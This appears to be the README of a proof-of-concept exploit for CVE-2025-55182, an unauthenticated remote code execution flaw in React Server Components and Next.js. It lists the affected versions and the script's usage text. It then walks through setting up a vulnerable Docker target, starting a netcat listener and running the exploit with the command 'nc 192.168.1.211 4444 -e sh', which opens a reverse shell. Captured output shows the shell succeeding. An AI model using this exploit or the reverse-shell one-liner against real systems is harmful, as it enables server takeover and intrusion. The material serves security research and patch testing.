
CVE-2025-55182 (React2Shell) PoC: Unauthenticated RCE affecting React 19.x and Next.js < 15.1.4. Exploits vulnerabilities in the RSC Flight protocol.
A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
https://nvd.nist.gov/vuln/detail/CVE-2025-55182
usage: CVE-2025-55182.py [-h] --command COMMAND target
PoC exploit: CVE-2025-55182
positional arguments:
target Target hostname
options:
-h, --help show this help message and exit
--command COMMAND Command to run on target
# Create docker instance
docker run -d -p 3000:3000 ihsansencan/react2shell:cve-2025-55182
# Start listener
nc -lnvp 4444
# Launch exploit
python3 CVE-2025-55182.py http://127.0.0.1:3000/ --command "nc 192.168.1.211 4444 -e sh"
# Should receive reverse shell in listener
Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 43911
uname -a
Linux f346806b6f59 6.17.0-20-generic #20~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 01:28:37 UTC 2 x86_64 Linux
This project is provided for educational and research purposes only. The author is not responsible for misuse or damage caused by this code.